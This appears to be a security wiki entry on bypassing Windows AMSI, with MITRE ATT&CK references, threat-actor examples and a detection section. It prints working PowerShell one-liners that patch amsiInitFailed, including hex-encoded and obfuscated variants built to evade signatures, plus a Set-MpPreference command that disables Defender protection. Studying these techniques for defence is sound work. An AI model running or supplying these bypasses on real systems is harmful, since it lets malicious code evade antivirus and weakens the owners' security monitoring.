AMSI Bypass

The Antimalware Scan Interface (AMSI) is a Windows interface standard that allows applications and services to integrate with any antimalware product on the machine. AMSI is vendor-agnostic — it supports file and memory scanning, content source URL/IP reputation checks, and session correlation across scan requests. Windows components that integrate with AMSI include PowerShell (scripts, interactive use, and dynamic code evaluation), Windows Script Host, JavaScript/VBScript, Office VBA macros, and UAC elevation. ¹

When a PowerShell script runs — including in-memory IEX invocations — AMSI intercepts the content and passes it to the registered antimalware provider before execution. This makes it a significant obstacle for attackers running PowerShell-based tooling, and bypassing it is a standard step in most Windows post-exploitation workflows.

MITRE ATT&CK classifies AMSI bypass under T1562.001 (Impair Defenses: Disable or Modify Tools), with specific procedure examples including in-memory patching of amsi.dll and reflection-based field modification. ²

How AMSI interception works

1. PowerShell (or another AMSI-integrated host) calls AmsiScanBuffer() before executing script content
2. AMSI forwards the content to the registered antimalware provider
3. The provider returns a verdict (clean / malicious)
4. If malicious, execution is blocked and an event is logged

Common bypass techniques

Reflection-based (in-memory, per-session)

The classic technique uses .NET reflection to set the internal amsiInitFailed field to $true, which causes AMSI initialization to silently fail:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

This works because AmsiUtils is the internal class that mediates between PowerShell and the AMSI COM interface. Setting amsiInitFailed to $true makes subsequent scan calls return AMSI_RESULT_CLEAN without actually scanning.

Important: This bypass is per-session only — it must be re-applied in each new PowerShell session.

Signature evasion

AMSI and Windows Defender use regex-based signature matching to detect known AMSI bypass strings. The reflection one-liner above is itself signatured. Evasion techniques include:

• String concatenation — breaking AmsiUtils into fragments ('Amsi'+'Utils')
• Character encoding — converting hex byte arrays to characters at runtime to reconstruct the class name
• Variable substitution — building the field name dynamically so the literal string amsiInitFailed never appears in the script

Example of hex-encoded string reassembly:

[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char][convert]::toint16($_,16)}|forEach{$r=$r+$_};$r)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char][convert]::toint16($_,16)}|forEach{$r2=$r2+$_};$r2),'NonPublic,Static').SetValue($null,$true)

A more heavily obfuscated variant using format-string reassembly:

S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  )  )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

Machine-wide via Defender preference (requires admin)

Set-MpPreference -DisableIOAVProtection $true

This disables scanning of files downloaded via IE/Edge and Office macros — effectively neutering AMSI for those channels. Requires local administrator privileges and is easily detected.

Known bypasses in the wild

MITRE ATT&CK documents AMSI bypass usage by multiple threat actors and tools:

• Turla — patches in-memory amsi.dll in PowerShell scripts
• SILENTTRINITY — amsiPatch.py module disables AMSI functions
• Donut — patches AMSI alongside WLDP and Native API exit functions
• Lumma Stealer — removes the AmsiScanBuffer string from clr.dll in memory

Detection

• Event 4104 (PowerShell script block logging) captures the bypass script itself before AMSI can be disabled — enable Script Block Logging to see these
• Sysmon event ID 10 (ProcessAccess) can detect processes accessing amsi.dll
• Defender for Endpoint alerts on known AMSI tampering patterns
• Correlate AMSI bypass attempts with subsequent suspicious event IDs (process creation, network connections)

Sources

• Antimalware Scan Interface (AMSI) — Microsoft Learn
• AMSI integration with Microsoft Defender Antivirus — Microsoft Learn
• MITRE ATT&CK — Impair Defenses: Disable or Modify Tools (formerly T1562.001, now T1685)
• 2020 — Bypass AMSI by manual modification — S3cur3Th1sSh1t

Related: windows-event-logs, get-winevent, powershell-reverse-shell, windows-reconnaissance-commands, disable-microsoft-defender, powershell-unicode-quote-equivalence, powershell-base64-encoding, powercat, csharp-av-bypass

Footnotes

1. Antimalware Scan Interface (AMSI) — Microsoft Learn ↩

2. MITRE ATT&CK — Impair Defenses: Disable or Modify Tools (formerly T1562.001, now T1685) ↩